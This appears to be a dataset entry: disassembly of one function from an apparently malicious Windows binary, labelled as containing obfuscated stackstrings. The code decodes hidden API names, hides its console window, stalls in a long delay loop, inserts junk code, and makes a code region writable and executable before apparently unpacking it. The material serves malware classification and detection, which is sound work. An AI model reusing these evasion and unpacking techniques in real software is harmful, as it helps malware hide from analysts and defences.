Function at 0x4034e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404710
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x24c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x21], 1
movzx eax, byte [ebp - 0x21]
cmp eax, 1
jne 0x403520
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x21], 0
jmp 0x40350d
mov dword [ebp - 4], 0
wait
mov byte [ebp - 0x11], 1
wait
jmp 0x403535
mov dword [ebp - 4], 0xffffffff
jmp 0x403545
movzx ecx, byte [ebp - 0x11]
cmp ecx, 1
jne 0x403552
mov byte [ebp - 0x11], 1
movzx edx, byte [ebp - 0x11]
test edx, edx
jne 0x40355e
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
test eax, eax
jne 0x40356a
mov byte [ebp - 0x11], 0
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x403576
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x22], 1
movzx edx, byte [ebp - 0x22]
cmp edx, 1
jne 0x40358d
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x22], 0
jmp 0x40357a
mov dword [ebp - 4], 2
wait
mov byte [ebp - 0x11], 1
wait
jmp 0x4035a2
mov dword [ebp - 4], 0xffffffff
jmp 0x4035b2
mov dword [ebp - 4], 4
wait
mov byte [ebp - 0x11], 0
wait
jmp 0x4035c7
mov dword [ebp - 4], 0xffffffff
jmp 0x4035d7
movzx eax, byte [ebp - 0x11]
test eax, eax
jne 0x4035e5
mov byte [ebp - 0x11], 1
jmp 0x4035e9
mov byte [ebp - 0x11], 1
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x4035f7
mov byte [ebp - 0x11], 0
jmp 0x4035fb
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x23], 1
movzx edx, byte [ebp - 0x23]
cmp edx, 1
jne 0x403612
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x23], 0
jmp 0x4035ff
mov dword [ebp - 4], 6
wait
mov byte [ebp - 0x11], 0
wait
jmp 0x403627
mov dword [ebp - 4], 0xffffffff
jmp 0x403637
movzx eax, byte [ebp - 0x11]
cmp eax, 1
jne 0x403646
mov byte [ebp - 0x11], 1
jmp 0x40364a
mov byte [ebp - 0x11], 0
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x403656
mov byte [ebp - 0x11], 0
movzx edx, byte [ebp - 0x11]
cmp edx, 1
jne 0x403665
mov byte [ebp - 0x11], 1
jmp 0x403669
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x24], 1
movzx eax, byte [ebp - 0x24]
cmp eax, 1
jne 0x403680
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x24], 0
jmp 0x40366d
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x40368e
mov byte [ebp - 0x11], 0
jmp 0x403692
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 8
wait
mov byte [ebp - 0x11], 1
wait
jmp 0x4036a7
mov dword [ebp - 4], 0xffffffff
jmp 0x4036b7
movzx edx, byte [ebp - 0x11]
cmp edx, 1
jne 0x4036c4
mov byte [ebp - 0x11], 0
mov dword [ebp - 4], 0xa
wait
mov byte [ebp - 0x11], 0
wait
jmp 0x4036d9
mov dword [ebp - 4], 0xffffffff
jmp 0x4036e9
mov byte [ebp - 0x25], 1
movzx eax, byte [ebp - 0x25]
cmp eax, 1
jne 0x403700
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x25], 0
jmp 0x4036ed
mov byte [ebp - 0x26], 1
movzx ecx, byte [ebp - 0x26]
cmp ecx, 1
jne 0x403717
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x26], 0
jmp 0x403704
movzx edx, byte [ebp - 0x11]
test edx, edx
jne 0x403725
mov byte [ebp - 0x11], 0
jmp 0x403729
mov byte [ebp - 0x11], 1
movzx eax, byte [ebp - 0x11]
test eax, eax
jne 0x403737
mov byte [ebp - 0x11], 1
jmp 0x40373b
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x27], 1
movzx ecx, byte [ebp - 0x27]
cmp ecx, 1
jne 0x403752
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x27], 0
jmp 0x40373f
movzx edx, byte [ebp - 0x11]
cmp edx, 1
jne 0x40375f
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x28], 1
movzx eax, byte [ebp - 0x28]
cmp eax, 1
jne 0x403776
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x28], 0
jmp 0x403763
movzx ecx, byte [ebp - 0x11]
cmp ecx, 1
jne 0x403783
mov byte [ebp - 0x11], 1
movzx edx, byte [ebp - 0x11]
test edx, edx
jne 0x403791
mov byte [ebp - 0x11], 0
jmp 0x403795
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
test eax, eax
jne 0x4037a1
mov byte [ebp - 0x11], 1
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x4037af
mov byte [ebp - 0x11], 1
jmp 0x4037b3
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x29], 1
movzx edx, byte [ebp - 0x29]
cmp edx, 1
jne 0x4037ca
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x29], 0
jmp 0x4037b7
movzx eax, byte [ebp - 0x11]
test eax, eax
jne 0x4037d6
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0xc
wait
mov byte [ebp - 0x11], 1
wait
jmp 0x4037eb
mov dword [ebp - 4], 0xffffffff
jmp 0x4037fb
mov dword [ebp - 4], 0xe
wait
mov byte [ebp - 0x11], 1
wait
jmp 0x403810
mov dword [ebp - 4], 0xffffffff
jmp 0x403820
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x40382c
mov byte [ebp - 0x11], 0
movzx edx, byte [ebp - 0x11]
test edx, edx
jne 0x403838
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
test eax, eax
jne 0x403844
mov byte [ebp - 0x11], 1
movzx ecx, byte [ebp - 0x11]
cmp ecx, 1
jne 0x403853
mov byte [ebp - 0x11], 1
jmp 0x403857
mov byte [ebp - 0x11], 0
mov dword [ebp - 4], 0x10
wait
mov byte [ebp - 0x11], 0
wait
jmp 0x40386c
mov dword [ebp - 4], 0xffffffff
jmp 0x40387c
movzx edx, byte [ebp - 0x11]
cmp edx, 1
jne 0x40388b
mov byte [ebp - 0x11], 1
jmp 0x40388f
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x2a], 1
movzx eax, byte [ebp - 0x2a]
cmp eax, 1
jne 0x4038a6
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x2a], 0
jmp 0x403893
mov byte [ebp - 0x2b], 1
movzx ecx, byte [ebp - 0x2b]
cmp ecx, 1
jne 0x4038bd
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x2b], 0
jmp 0x4038aa
movzx edx, byte [ebp - 0x11]
test edx, edx
jne 0x4038c9
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
test eax, eax
jne 0x4038d5
mov byte [ebp - 0x11], 0
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x4038e1
mov byte [ebp - 0x11], 1
movzx edx, byte [ebp - 0x11]
test edx, edx
jne 0x4038ed
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0x12
wait
mov byte [ebp - 0x11], 0
wait
jmp 0x403902
mov dword [ebp - 4], 0xffffffff
jmp 0x403912
movzx eax, byte [ebp - 0x11]
cmp eax, 1
jne 0x403921
mov byte [ebp - 0x11], 0
jmp 0x403925
mov byte [ebp - 0x11], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call fcn.004013a0
cmp eax, 0x108fb
jne 0x40396a
cmp eax, ebx
and ebx, eax
cmp eax, eax
and ebx, eax
test eax, ebx
mov eax, 0
test eax, ebx
xor eax, eax
xor eax, eax
pop ebx
call eax
push str.9rtLDaYi8om9E
lea ecx, [ebp - 0xc4]
call fcn.00405360
lea ecx, [ebp - 0xc4]
call fcn.00405550
call fcn.004013a0
cmp eax, 0x133b3
jne 0x403981
cmp eax, ebx
pop ebx
pop eax
xor eax, eax
test eax, eax
call eax
push eax
push str.ZxLyPcXW7rJM8hLh9wd9WDLp6OuXsJG
lea ecx, [ebp - 0x25c]
call fcn.00405360
ror ebx, 0xfc
rol edi, 0x5e
inc eax
bswap edi
rcl edx, 0x65
or eax, 0x2a
or esi, 0x42
rol esi, 0x91
rcr edx, 0xd0
neg eax
bswap eax
mov ebx, 0x4c
not edi
imul ebx
inc eax
add ebx, 0x55
sbb edi, 0xaf
and edx, 0xba
imul ebx
rcr ebx, 0xae
mov esi, 0xdf
sbb ebx, 0xc3
inc edx
imul ebx
mov eax, 0x7b
bswap edx
imul eax
bswap esi
dec edx
imul edx
ror esi, 0xc4
neg ebx
bswap esi
bswap edx
dec edx
add ebx, 0xb9
not eax
or esi, 0xb1
bswap edx
sbb eax, 0xf
rol eax, 0xe3
bswap eax
sub edx, 0x82
rcr eax, 0x39
add edx, 0x9d
not edx
mov esi, 0xe7
sbb edx, 0xb4
inc edx
neg edi
mov byte [ebp - 0x58], 0xfb
mov byte [ebp - 0x57], 4
mov byte [ebp - 0x56], 0x83
mov byte [ebp - 0x55], 0x4b
mov byte [ebp - 0x54], 0xd6
mov byte [ebp - 0x53], 0x5a
mov byte [ebp - 0x52], 0xbc
mov byte [ebp - 0x51], 0x42
mov byte [ebp - 0x50], 0xa
mov byte [ebp - 0x4f], 0x35
mov byte [ebp - 0x4e], 0x37
mov byte [ebp - 0x4d], 0x3d
mov byte [ebp - 0x4c], 0x7a
mov dword [ebp - 0x30], 0
jmp 0x403a6e
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], 0xd
jae 0x403bb7
mov edx, dword [ebp - 0x30]
mov al, byte [ebp + edx - 0x58]
mov byte [ebp - 0x12], al
movzx ecx, byte [ebp - 0x12]
not ecx
mov byte [ebp - 0x12], cl
movzx edx, byte [ebp - 0x12]
neg edx
mov byte [ebp - 0x12], dl
movzx eax, byte [ebp - 0x12]
sub eax, 0x8a
mov byte [ebp - 0x12], al
movzx ecx, byte [ebp - 0x12]
neg ecx
mov byte [ebp - 0x12], cl
movzx edx, byte [ebp - 0x12]
sar edx, 6
movzx eax, byte [ebp - 0x12]
shl eax, 2
or edx, eax
mov byte [ebp - 0x12], dl
movzx ecx, byte [ebp - 0x12]
neg ecx
mov byte [ebp - 0x12], cl
movzx edx, byte [ebp - 0x12]
add edx, 0x6d
mov byte [ebp - 0x12], dl
movzx eax, byte [ebp - 0x12]
neg eax
mov byte [ebp - 0x12], al
movzx ecx, byte [ebp - 0x12]
sar ecx, 3
movzx edx, byte [ebp - 0x12]
shl edx, 5
or ecx, edx
mov byte [ebp - 0x12], cl
movzx eax, byte [ebp - 0x12]
neg eax
mov byte [ebp - 0x12], al
movzx ecx, byte [ebp - 0x12]
sar ecx, 6
movzx edx, byte [ebp - 0x12]
shl edx, 2
or ecx, edx
mov byte [ebp - 0x12], cl
movzx eax, byte [ebp - 0x12]
sub eax, 0x79
mov byte [ebp - 0x12], al
movzx ecx, byte [ebp - 0x12]
sar ecx, 2
movzx edx, byte [ebp - 0x12]
shl edx, 6
or ecx, edx
mov byte [ebp - 0x12], cl
movzx eax, byte [ebp - 0x12]
add eax, 0x3f
mov byte [ebp - 0x12], al
movzx ecx, byte [ebp - 0x12]
neg ecx
mov byte [ebp - 0x12], cl
movzx edx, byte [ebp - 0x12]
add edx, dword [ebp - 0x30]
mov byte [ebp - 0x12], dl
movzx eax, byte [ebp - 0x12]
not eax
mov byte [ebp - 0x12], al
movzx ecx, byte [ebp - 0x12]
sar ecx, 1
movzx edx, byte [ebp - 0x12]
shl edx, 7
or ecx, edx
mov byte [ebp - 0x12], cl
movzx eax, byte [ebp - 0x12]
neg eax
mov byte [ebp - 0x12], al
movzx ecx, byte [ebp - 0x12]
add ecx, dword [ebp - 0x30]
mov byte [ebp - 0x12], cl
movzx edx, byte [ebp - 0x12]
not edx
mov byte [ebp - 0x12], dl
movzx eax, byte [ebp - 0x12]
sar eax, 5
movzx ecx, byte [ebp - 0x12]
shl ecx, 3
or eax, ecx
mov byte [ebp - 0x12], al
movzx edx, byte [ebp - 0x12]
sub edx, dword [ebp - 0x30]
mov byte [ebp - 0x12], dl
movzx eax, byte [ebp - 0x12]
neg eax
mov byte [ebp - 0x12], al
movzx ecx, byte [ebp - 0x12]
sub ecx, dword [ebp - 0x30]
mov byte [ebp - 0x12], cl
mov edx, dword [ebp - 0x30]
mov al, byte [ebp - 0x12]
mov byte [ebp + edx - 0x58], al
jmp 0x403a65
lea ecx, [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x403da5
call fcn.004013a0
cmp eax, 0x1470f
jne 0x403bf2
mov eax, 0
cmp ebx, ebx
xor ebx, ebx
and eax, ebx
test eax, ebx
xor eax, 0
test ebx, eax
sub eax, ebx
cmp eax, eax
add eax, eax
call fcn.004013a0
cmp eax, 0xaaa6
jne 0x403c38
call fcn.004013a0
cmp eax, 0x12c72
jne 0x403c30
xor ebx, 0
nop
cmp eax, eax
nop
jmp eax
xor ebx, eax
cmp eax, eax
test eax, eax
sub eax, eax
push str.eXsrGpuBTqtLYxn
lea ecx, [ebp - 0x154]
call fcn.00405360
push str.FreeConsole
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
je 0x403d9a
call fcn.004013a0
cmp eax, 0x70e8
jne 0x403d2c
call fcn.004013a0
cmp eax, 0x1473a
jne 0x403d23
call fcn.004013a0
cmp eax, 0x4d38
jne 0x403cec
call fcn.004013a0
cmp eax, 0x11d54
jne 0x403cec
call fcn.004013a0
cmp eax, 0x66ef
jne 0x403cba
sub ebx, ebx
and eax, eax
and ebx, eax
push eax
cmp ebx, eax
sub eax, ebx
cmp eax, ebx
cmp eax, eax
cmp ebx, ebx
push eax
cmp eax, ebx
cmp ebx, eax
sub ebx, eax
and eax, 0
xor ebx, eax
and eax, ebx
xor ebx, 0
xor eax, eax
pop eax
and eax, eax
and eax, eax
push str.4cZT5eQS72ZSbt1rcqPOM
lea ecx, [ebp - 0xf4]
call fcn.00405360
lea ecx, [ebp - 0xf4]
call fcn.00405550
sub ebx, ebx
xor eax, 0
sub ebx, ebx
mov eax, eax
pop eax
test ebx, eax
call eax
and eax, 0
push ebx
and ebx, eax
sub eax, eax
cmp ebx, ebx
cmp eax, eax
and eax, eax
push str.Zi7d6OMidzBrjVNzAi
lea ecx, [ebp - 0x10c]
call fcn.00405360
lea ecx, [ebp - 0x10c]
call fcn.00405550
xor ebx, eax
sub eax, eax
call eax
xor eax, eax
nop
call fcn.004013a0
cmp eax, 0xa611
jne 0x403d70
cmp ebx, ebx
mov eax, ebx
test eax, ebx
add eax, eax
test ebx, eax
sub eax, eax
nop
mov eax, ebx
and ebx, eax
push eax
xor eax, eax
push eax
and ebx, eax
xor eax, eax
cmp eax, ebx
and eax, eax
push str.WDjWS25BeZ7rkK5BhLjHd6LuWt8
lea ecx, [ebp - 0x124]
call fcn.00405360
lea ecx, [ebp - 0x124]
call fcn.00405550
push str.iFY3DvII2RyZcsMHK8SWe
lea ecx, [ebp - 0x13c]
call fcn.00405360
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x88], eax
call dword [ebp - 0x88]
lea ecx, [ebp - 0x13c]
call fcn.00405550
lea ecx, [ebp - 0x154]
call fcn.00405550
or edx, 0x81
dec edx
inc eax
add edi, 0x21
dec edi
and ebx, 0x50
dec edx
not ebx
neg edi
rol edi, 0x4a
or ebx, 0x92
sub ebx, 0x19
not edx
inc esi
or esi, 0x75
mov ebx, 0x99
neg edx
not eax
inc eax
sub edx, 0xfe
not eax
inc edx
neg eax
mov eax, 0x88
rcl eax, 0xea
sub edi, 0x28
sbb edx, 0x51
ror ebx, 0x39
sub esi, 0x7e
bswap edx
rcr edi, 0xb7
sbb edi, 0x27
ror eax, 0x2b
sub eax, 0x72
dec esi
inc edi
add edi, 0x99
rcr edx, 0x85
dec edi
ror esi, 0xb6
not ebx
not edi
sbb eax, 2
add edi, 0x81
and eax, 0x31
inc esi
dec edx
neg ebx
neg edx
neg ebx
mov dword [ebp - 0x18], 0xa
movsd xmm0, qword [0x413518]
movsd qword [ebp - 0x20], xmm0
mov byte [ebp - 0x31], 0x41
mov dword [ebp - 0x38], 0
jmp 0x403e53
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], 0xa
jge 0x403e89
mov edx, dword [ebp - 0x38]
and edx, 0x80000001
jns 0x403e69
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
jne 0x403e78
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
jmp 0x403e87
cvtsi2sd xmm0, dword [ebp - 0x38]
mulsd xmm0, qword [ebp - 0x20]
movsd qword [ebp - 0x20], xmm0
jmp 0x403e4a
cmp dword [ebp - 0x18], 0
jle 0x403eac
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
movsd xmm0, qword [ebp - 0x20]
addsd xmm0, qword [0x4134f0]
movsd qword [ebp - 0x20], xmm0
jmp 0x403e89
mov dl, byte [ebp - 0x31]
mov byte [ebp - 0x7c], dl
cmp byte [ebp - 0x7c], 0x41
je 0x403ec0
cmp byte [ebp - 0x7c], 0x42
je 0x403eca
jmp 0x403edc
mov eax, dword [ebp - 0x18]
shl eax, 1
mov dword [ebp - 0x18], eax
jmp 0x403edc
movsd xmm0, qword [ebp - 0x20]
divsd xmm0, qword [0x413508]
movsd qword [ebp - 0x20], xmm0
cmp dword [ebp - 0x18], 5
jle 0x403f16
movsd xmm0, qword [0x413530]
comisd xmm0, xmmword [ebp - 0x20]
jbe 0x403f16
mov dword [ebp - 0x40], 0
jmp 0x403f03
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x40], 5
jge 0x403f14
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0x18], edx
jmp 0x403efa
jmp 0x403f39
movsd xmm0, qword [0x413540]
comisd xmm0, xmmword [ebp - 0x20]
jbe 0x403f39
movsd xmm0, qword [ebp - 0x20]
addsd xmm0, qword [0x413500]
movsd qword [ebp - 0x20], xmm0
jmp 0x403f16
mov dword [ebp - 0xa4], 1
mov dword [ebp - 0xa0], 2
mov dword [ebp - 0x9c], 3
mov dword [ebp - 0x98], 4
mov dword [ebp - 0x94], 5
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x44], 0
jmp 0x403f84
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 5
jge 0x403f9c
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x6c]
add edx, dword [ebp + ecx*4 - 0xa4]
mov dword [ebp - 0x6c], edx
jmp 0x403f7b
cmp dword [ebp - 0x6c], 0xa
jle 0x403fbd
imul eax, dword [ebp - 0x18], 5
mov dword [ebp - 0x18], eax
movsd xmm0, qword [ebp - 0x20]
divsd xmm0, qword [0x413508]
movsd qword [ebp - 0x20], xmm0
jmp 0x403fdd
mov eax, dword [ebp - 0x18]
cdq
mov ecx, 5
idiv ecx
mov dword [ebp - 0x18], eax
movsd xmm0, qword [ebp - 0x20]
mulsd xmm0, qword [0x413508]
movsd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x18]
sub edx, 1
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
jg 0x403fdd
lea eax, [ebp - 0x18]
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x80]
mov edx, dword [ecx]
add edx, 0xa
mov eax, dword [ebp - 0x80]
mov dword [eax], edx
movsd xmm0, qword [ebp - 0x20]
comisd xmm0, xmmword [0x4134e8]
jb 0x404031
movsd xmm0, qword [0x413528]
comisd xmm0, xmmword [ebp - 0x20]
jb 0x404031
movsd xmm0, qword [ebp - 0x20]
addsd xmm0, qword [0x4134f8]
movsd qword [ebp - 0x20], xmm0
jmp 0x4040a7
movsd xmm0, qword [ebp - 0x20]
comisd xmm0, xmmword [0x413528]
jbe 0x404063
movsd xmm0, qword [0x413530]
comisd xmm0, xmmword [ebp - 0x20]
jb 0x404063
movsd xmm0, qword [ebp - 0x20]
addsd xmm0, qword [0x413508]
movsd qword [ebp - 0x20], xmm0
jmp 0x4040a7
movsd xmm0, qword [ebp - 0x20]
comisd xmm0, xmmword [0x413530]
jbe 0x404095
movsd xmm0, qword [0x413538]
comisd xmm0, xmmword [ebp - 0x20]
jb 0x404095
movsd xmm0, qword [ebp - 0x20]
addsd xmm0, qword [0x413510]
movsd qword [ebp - 0x20], xmm0
jmp 0x4040a7
movsd xmm0, qword [ebp - 0x20]
addsd xmm0, qword [0x413520]
movsd qword [ebp - 0x20], xmm0
mov byte [ebp - 0x68], 0xae
mov byte [ebp - 0x67], 0x60
mov byte [ebp - 0x66], 0x42
mov byte [ebp - 0x65], 0x38
mov byte [ebp - 0x64], 0x3a
mov byte [ebp - 0x63], 0x88
mov byte [ebp - 0x62], 0x62
mov byte [ebp - 0x61], 0xd0
mov byte [ebp - 0x60], 0x4e
mov byte [ebp - 0x5f], 0x58
mov byte [ebp - 0x5e], 0x4a
mov byte [ebp - 0x5d], 0x84
mov byte [ebp - 0x5c], 0x92
mov byte [ebp - 0x5b], 0x4c
mov byte [ebp - 0x5a], 0x20
mov dword [ebp - 0x3c], 0
jmp 0x4040f5
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], 0xf
jae 0x404242
mov edx, dword [ebp - 0x3c]
mov al, byte [ebp + edx - 0x68]
mov byte [ebp - 0x13], al
movzx ecx, byte [ebp - 0x13]
sar ecx, 2
movzx edx, byte [ebp - 0x13]
shl edx, 6
or ecx, edx
mov byte [ebp - 0x13], cl
movzx eax, byte [ebp - 0x13]
add eax, 0xc8
mov byte [ebp - 0x13], al
movzx ecx, byte [ebp - 0x13]
sar ecx, 7
movzx edx, byte [ebp - 0x13]
shl edx, 1
or ecx, edx
mov byte [ebp - 0x13], cl
movzx eax, byte [ebp - 0x13]
add eax, 0xa1
mov byte [ebp - 0x13], al
movzx ecx, byte [ebp - 0x13]
not ecx
mov byte [ebp - 0x13], cl
movzx edx, byte [ebp - 0x13]
sub edx, 0x43
mov byte [ebp - 0x13], dl
movzx eax, byte [ebp - 0x13]
neg eax
mov byte [ebp - 0x13], al
movzx ecx, byte [ebp - 0x13]
sub ecx, 0x6d
mov byte [ebp - 0x13], cl
movzx edx, byte [ebp - 0x13]
sar edx, 7
movzx eax, byte [ebp - 0x13]
shl eax, 1
or edx, eax
mov byte [ebp - 0x13], dl
movzx ecx, byte [ebp - 0x13]
add ecx, 0xdf
mov byte [ebp - 0x13], cl
movzx edx, byte [ebp - 0x13]
sar edx, 1
movzx eax, byte [ebp - 0x13]
shl eax, 7
or edx, eax
mov byte [ebp - 0x13], dl
movzx ecx, byte [ebp - 0x13]
add ecx, 0x9c
mov byte [ebp - 0x13], cl
movzx edx, byte [ebp - 0x13]
neg edx
mov byte [ebp - 0x13], dl
movzx eax, byte [ebp - 0x13]
add eax, dword [ebp - 0x3c]
mov byte [ebp - 0x13], al
movzx ecx, byte [ebp - 0x13]
neg ecx
mov byte [ebp - 0x13], cl
movzx edx, byte [ebp - 0x13]
sub edx, 0xab
mov byte [ebp - 0x13], dl
movzx eax, byte [ebp - 0x13]
sar eax, 1
movzx ecx, byte [ebp - 0x13]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x13], al
movzx edx, byte [ebp - 0x13]
sub edx, 0x66
mov byte [ebp - 0x13], dl
movzx eax, byte [ebp - 0x13]
neg eax
mov byte [ebp - 0x13], al
movzx ecx, byte [ebp - 0x13]
not ecx
mov byte [ebp - 0x13], cl
movzx edx, byte [ebp - 0x13]
neg edx
mov byte [ebp - 0x13], dl
movzx eax, byte [ebp - 0x13]
not eax
mov byte [ebp - 0x13], al
movzx ecx, byte [ebp - 0x13]
add ecx, 0xa6
mov byte [ebp - 0x13], cl
movzx edx, byte [ebp - 0x13]
neg edx
mov byte [ebp - 0x13], dl
movzx eax, byte [ebp - 0x13]
sub eax, 0xd
mov byte [ebp - 0x13], al
mov ecx, dword [ebp - 0x3c]
mov dl, byte [ebp - 0x13]
mov byte [ebp + ecx - 0x68], dl
jmp 0x4040ec
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x48], 0
jmp 0x404262
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x59c36f5
jge 0x404276
mov ecx, dword [ebp - 0x70]
add ecx, 1
mov dword [ebp - 0x70], ecx
jmp 0x404259
cmp dword [ebp - 0x70], 0x59c36f5
jne 0x4046d9
inc ebx
dec edi
dec ebx
dec ebx
neg edx
or esi, 0x9c
inc esi
or edi, 0x66
dec edi
neg eax
imul ebx
sub ebx, 0xdc
add edx, 0x96
rol ebx, 0xce
neg edx
sbb esi, 0
inc edi
and ebx, 0x4b
ror ebx, 0x80
rcl esi, 0x53
imul edi
and eax, 0x63
imul eax
imul esi
bswap ebx
dec edi
sub edi, 0x13
dec edi
sub esi, 0x90
rcl edx, 0x83
rcr eax, 0x4a
bswap edi
mov edi, 0xf0
mov ebx, 0xa2
add edx, 0xb0
rcl edi, 0x93
rcr eax, 0x94
rcl esi, 0x4d
imul ebx
rcl edx, 0x20
inc ebx
imul esi
rcl edx, 0x31
rol eax, 0x79
bswap edx
bswap esi
rcr eax, 0x7e
bswap eax
rol edi, 0x60
rcl edi, 0xc2
mov dword [ebp - 0x84], 0x1770
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0xa8]
push ecx
push 0x40
mov edx, dword [ebp - 0x84]
push edx
push fcn.00401d70
call dword [ebp - 0x8c]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x84]
push eax
push fcn.00401d70
call fcn.004011c0
add esp, 8
call fcn.004013a0
cmp eax, 0x80ba
jne 0x40439b
xor ebx, eax
pop ebx
xor eax, eax
sub eax, ebx
nop
cmp eax, eax
and ebx, eax
jmp eax
call fcn.004013a0
cmp eax, 0xffb9
jne 0x4043de
push ebx
and eax, ebx
push ebx
cmp eax, ebx
add eax, eax
xor ebx, eax
test eax, ebx
and ebx, eax
mov eax, 0
pop ebx
call eax
cmp eax, ebx
xor eax, ebx
cmp eax, ebx
push str.oe45FZh3uijpA9j9AdXpRxtR
lea ecx, [ebp - 0x184]
call fcn.00405360
lea ecx, [ebp - 0x184]
call fcn.00405550
push str.Nwee0dSaXsIDTJf6Ayk9
lea ecx, [ebp - 0x244]
call fcn.00405360
call fcn.004013a0
cmp eax, 0x16586
jne 0x404502
call fcn.004013a0
cmp eax, 0xa562
jne 0x4044d5
call fcn.004013a0
cmp eax, 0x16196
jne 0x4044ac
call fcn.004013a0
cmp eax, 0x11d7a
jne 0x40448f
call fcn.004013a0
cmp eax, 0x1603b
jne 0x40446b
nop
mov eax, 0
xor ebx, eax
test eax, ebx
xor ebx, eax
cmp eax, eax
and eax, 0
cmp ebx, eax
add eax, eax
pop ebx
sub ebx, eax
xor ebx, ebx
push str.3u7OHJZwTptEtcu4L9l6x
lea ecx, [ebp - 0x19c]
call fcn.00405360
lea ecx, [ebp - 0x19c]
call fcn.00405550
mov eax, ebx
mov eax, 0
and ebx, eax
test eax, ebx
mov eax, ebx
call eax
xor eax, ebx
sub eax, ebx
jmp eax
cmp eax, eax
push str.006hOb1XWQdIaTRO2iw5BmBDhT
lea ecx, [ebp - 0x1b4]
call fcn.00405360
lea ecx, [ebp - 0x1b4]
call fcn.00405550
mov eax, ebx
and eax, 0
cmp eax, eax
pop eax
test ebx, eax
test eax, ebx
test eax, ebx
push str.jI9inYQuu3
lea ecx, [ebp - 0x1cc]
call fcn.00405360
lea ecx, [ebp - 0x1cc]
call fcn.00405550
test ebx, eax
sub eax, eax
cmp ebx, eax
sub ebx, eax
push ebx
mov eax, 0
and eax, eax
and eax, ebx
push str.mWQ1sTYExJYqRhQZLdlC
lea ecx, [ebp - 0x1e4]
call fcn.00405360
lea ecx, [ebp - 0x1e4]
call fcn.00405550
call fcn.004013a0
cmp eax, 0x133f
jne 0x404522
cmp ebx, ebx
sub eax, eax
test eax, ebx
sub ebx, ebx
add eax, ebx
sub ebx, ebx
push ebx
cmp ebx, eax
xor ebx, 0
xor ebx, eax
push str.gQxSqRxk5mJDonUGYTIvjw
lea ecx, [ebp - 0x22c]
call fcn.00405360
call fcn.004013a0
cmp eax, 0x14f42
jne 0x40459d
call fcn.004013a0
cmp eax, 0xc650
jne 0x404565
push str.4uubR61wTKUq3dlHnIQ1gjVeW5sS
lea ecx, [ebp - 0x1fc]
call fcn.00405360
lea ecx, [ebp - 0x1fc]
call fcn.00405550
push ebx
xor eax, 0
and ebx, 0
sub eax, eax
pop eax
and ebx, eax
and ebx, 0
test eax, ebx
jmp eax
and edx, 0xd0
mov ebx, 6
inc eax
